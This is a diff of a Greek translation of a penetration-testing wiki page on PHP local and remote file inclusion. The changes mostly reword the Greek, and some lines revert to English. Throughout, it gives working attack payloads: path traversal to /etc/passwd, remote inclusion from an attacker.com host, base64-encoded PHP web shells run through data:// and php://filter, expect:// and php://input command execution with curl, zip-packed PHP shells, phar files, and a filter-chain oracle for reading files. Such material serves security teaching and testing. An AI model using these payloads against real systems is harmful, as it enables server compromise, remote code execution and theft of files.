@ -124,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφοροποιηθεί ανάλογα με τη διαμόρφωση του server.
|
||||
Σε αυτά τα σενάρια, ο αριθμός των απαιτούμενων traversals μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο filesystem, αγνοώντας στην πράξη τυχόν appended strings από τον server.
|
||||
- **Determining the Required Number of Traversals**: Μέσω δοκιμής και λάθους, μπορεί κανείς να βρει τον ακριβή αριθμό `../` ακολουθιών που χρειάζονται για να φτάσει στο root directory και στη συνέχεια στο `/etc/passwd`, εξασφαλίζοντας ότι τυχόν appended strings (π.χ. `.php`) εξουδετερώνονται αλλά το επιθυμητό path (`/etc/passwd`) παραμένει άθικτο.
|
||||
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει κανείς το path με έναν ανύπαρκτο directory (π.χ. `a/`). Αυτή η τεχνική χρησιμοποιείται ως μέτρο προφύλαξης ή για να ικανοποιήσει τις απαιτήσεις της λογικής parsing του path του server.
|
||||
- **Using Dot Segments and Additional Characters**: Οι ακολουθίες traversal (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να περιηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής.
|
||||
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που χρειάζονται για να φτάσει στη ρίζα και μετά στο `/etc/passwd`, εξασφαλίζοντας ότι τυχόν προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται ενώ η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||||
- **Starting with a Fake Directory**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν μη υπαρκτό κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
|
||||
|
||||
Κατά την εφαρμογή των path truncation techniques, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά parsing του path στον server και τη δομή του filesystem. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**Αυτή η vulnerability διορθώθηκε στο PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
@ -144,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα PHP αρχείο από τον server σας και να αποκτήσετε RCE:
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον server σας και να αποκτήσετε RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Εάν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά η PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε για παράδειγμα να χρησιμοποιήσετε το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
|
||||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά PHP κάνει **filtering** στην πρόσβαση σε εξωτερικές ιστοσελίδες, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε για παράδειγμα να χρησιμοποιήσετε το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως θα εκτελεστεί).
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελειώνει σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά την b64 decode εκείνο το τμήμα θα επιστρέψει απλώς άχρηστα δεδομένα και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και συνεπώς, θα εκτελεστεί).
|
||||
|
||||
Another example **not using the `php://` protocol** would be:
|
||||
Ένα άλλο παράδειγμα **που δεν χρησιμοποιεί το `php://` protocol** θα ήταν:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root στοιχείο
|
||||
## Python Στοιχείο ρίζας
|
||||
|
||||
Σε Python, σε κώδικα όπως ο παρακάτω:
|
||||
Σε python, σε έναν κώδικα όπως ο παρακάτω:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
|
||||
Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Εάν ένα στοιχείο είναι απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνθεση συνεχίζεται από το απόλυτο στοιχείο.
|
||||
> Εάν ένα στοιχείο είναι απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού.
|
||||
|
||||
## Java Λίστα καταλόγων
|
||||
|
||||
Φαίνεται πως αν έχεις ένα Path Traversal σε Java και **ζητήσεις έναν κατάλογο** αντί για αρχείο, **επιστρέφεται λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (afaik).
|
||||
Φαίνεται ότι αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (afaik).
|
||||
|
||||
## Κορυφαίες 25 παράμετροι
|
||||
|
||||
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) (από το [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Παρακάτω είναι η λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -210,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
|
||||
## LFI / RFI με PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
Τα PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||||
PHP filters επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")
|
||||
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
|
||||
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται μεταξύ των χαρακτήρων "<" και ">" )
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται εκτελέστε στην κονσόλα: `iconv -l`
|
||||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να λάβετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Κακοποιώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Καταχρηστική χρήση του φίλτρου μετατροπής `convert.iconv.*` μπορεί να σας επιτρέψει να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)
|
||||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο εάν εξάγετε μεγάλο όγκο πληροφοριών)
|
||||
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Παρωχημένο
|
||||
- `mdecrypt.*` : Παρωχημένο
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **απροσδόκητα φίλτρα**:
|
||||
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναπάντεχα φίλτρα**:
|
||||
- `consumed`
|
||||
- `dechunk`: αντιστρέφει το HTTP chunked encoding
|
||||
- `dechunk`: αναιρεί την HTTP chunked κωδικοποίηση
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -270,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Το μέρος "php://filter" δεν κάνει διάκριση πεζών-κεφαλαίων
|
||||
> Το τμήμα "php://filter" δεν διακρίνει πεζά-κεφαλαία
|
||||
|
||||
### Using php filters as oracle to read arbitrary files
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί το περιεχόμενο από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγαλύτερο ώστε να κάνει την php να πετάξει εξαίρεση.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το περιεχόμενο από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration του αρχείου (char by char) χρησιμοποιώντας php filters** ως oracle. Αυτό οφείλεται στο ότι οι php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να κάνουν το php να πετάξει exception.
|
||||
|
||||
Στην αρχική ανάρτηση θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
|
||||
Στο αρχικό post υπάρχει αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
|
||||
|
||||
- Χρησιμοποιήστε το codec **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική λέξη έχει μαντευτεί σωστά** που η php θα ενεργοποιήσει ένα **error**
|
||||
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου μπροστά και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γραμμα είναι σωστά μαντευμένη** ώστε το php να προκαλέσει **σφάλμα**
|
||||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
|
||||
- Αυτό, σε συνδυασμό με τα προηγούμενα (και άλλα filters ανάλογα με το μαντευόμενο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε με αρκετές μετασχηματισμούς σταματάει να είναι hexadecimal χαρακτήρας. Επειδή αν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
|
||||
- Το codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτό το codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι ένα `a`, για παράδειγμα, επειδή αν εφαρμόσουμε 6 φορές αυτό το codec a->b->c->d->e->f->g το γράμμα δεν είναι πλέον hexadecimal χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το php error ενεργοποιείται λόγω της αρχικής πολλαπλασιαστικής βόμβας.
|
||||
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως το **rot13** στην αρχή είναι δυνατό να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλα codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον base64 encode και να leak τους 2 πρώτους χαρακτήρες για να αποκαλυφθεί ο αριθμός.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας φίλτρα που αλλάζουν τη σειρά όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε την σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και για να μπορούμε να λάβουμε **περαιτέρω δεδομένα**, η ιδέα είναι να **παράγουμε 2 bytes junk στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να **pivot με τα επόμενα 2 bytes**, και να d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζουμε έτσι μέχρι να φτάσουμε στο επιθυμητό byte για leak.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντευμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Διότι αν είναι hex, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
|
||||
- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (π.χ. a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a`, για παράδειγμα, γιατί αν εφαρμόσουμε 6 από αυτούς τους codecs a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το σφάλμα του php ενεργοποιείται λόγω της αρχικής βόμβας.
|
||||
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατό να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode-άρουμε και να leak-άρουμε τα πρώτα 2 γράμματα για να αποκαλύψουμε τον αριθμό.
|
||||
- Το τελικό πρόβλημα είναι το πώς να leak-άσουμε περισσότερα από τον αρχικό χαρακτήρα. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε την σειρά των χαρακτήρων και να φέρουμε σε πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και για να είμαστε ικανοί να πάρουμε **περαιτέρω δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να **pivot-άρει με τα επόμενα 2 bytes**, και να διαγράψουμε τα δεδομένα μέχρι τα junk data (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζουμε έτσι μέχρι να φτάσουμε στο επιθυμητό κομμάτι για να leak-άρουμε.
|
||||
|
||||
Στην ανάρτηση δημοσιεύθηκε επίσης ένα εργαλείο για την αυτόματη εκτέλεση αυτού: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Στο post διατέθηκε επίσης ένα εργαλείο που εκτελεί αυτόματα τη διαδικασία: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Αυτός ο wrapper επιτρέπει την πρόσβαση σε file descriptors που η διαδικασία έχει ανοιχτά. Πιθανώς χρήσιμο για την εξαγωγή (exfiltrate) του περιεχομένου ανοιχτών αρχείων:
|
||||
Αυτός ο wrapper επιτρέπει την πρόσβαση σε file descriptors που η διαδικασία έχει ανοικτά. Ενδεχομένως χρήσιμο για να exfiltrate το περιεχόμενο ανοικτών αρχείων:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε τα **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια attack)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Ανεβάστε ένα αρχείο Zip ή Rar με PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||||
Για να μπορέσετε να καταχραστείτε το rar protocol, **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
|
||||
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||||
Για να μπορείτε να εκμεταλλευτείτε το rar protocol **πρέπει να ενεργοποιηθεί ειδικά**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -327,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php **`allow_url_open`** και **`allow_url_include`**
|
||||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις php ρυθμίσεις **`allow_url_open`** και **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
@ -338,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Καθορίστε το payload στις παραμέτρους του POST:
|
||||
Καθορίστε το payload στις παραμέτρους POST:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση PHP κώδικα όταν μια web εφαρμογή χρησιμοποιεί συναρτήσεις όπως το `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή εκμεταλλεύεται συναρτήσεις όπως η `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -357,11 +358,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να αξιοποιηθεί για εκμετάλλευση των Local File Inclusion (LFI) ευπαθειών.
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο μπορεί ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||||
|
||||
Σε περιπτώσεις όπου το LFI περιορίζεται μόνο στην ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα που περιέχουν, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
Σε περιπτώσεις όπου το LFI μόνο διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα μέσα σε αυτά, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
|
||||
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών απο-σειριοποίησης στο πλαίσιο των `.phar` αρχείων, ανατρέξτε στο έγγραφο συνδεδεμένο παρακάτω:
|
||||
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων `.phar`, ανατρέξτε στο παρακάτω συνδεδεμένο έγγραφο:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -372,32 +373,32 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Ήταν δυνατό να καταχραστεί το **any arbitrary file read from PHP that supports php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Πολύ σύντομη σύνοψη: ένα **3 byte overflow** στον PHP heap καταχράστηκε για να **alter the chain of free chunks** ενός συγκεκριμένου μεγέθους, προκειμένου να είναι δυνατό να **write anything in any address**, οπότε προστέθηκε ένα hook για να καλεί το **`system`**.\
|
||||
Ήταν δυνατή η alloc chunks συγκεκριμένων μεγεθών με την κατάχρηση περισσότερων php filters.
|
||||
Ήταν δυνατό να καταχραστεί **any arbitrary file read from PHP that supports php filters** για να επιτευχθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Πολύ σύντομη περίληψη: μια **3 byte overflow** στο PHP heap εκμεταλλεύτηκε για να **alter the chain of free chunks** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **write anything in any address**, οπότε προστέθηκε ένα hook για να καλέσει **`system`**.\
|
||||
Ήταν δυνατή η alloc chunks συγκεκριμένων μεγεθών μέσω κατάχρησης περισσότερων php filters.
|
||||
|
||||
### Περισσότερα πρωτόκολλα
|
||||
### More protocols
|
||||
|
||||
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Δείτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψιμο σε μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί να είναι χρήσιμο σε μια file inclusion επίθεση)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε επίθεση file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές συμπίεσης
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ)
|
||||
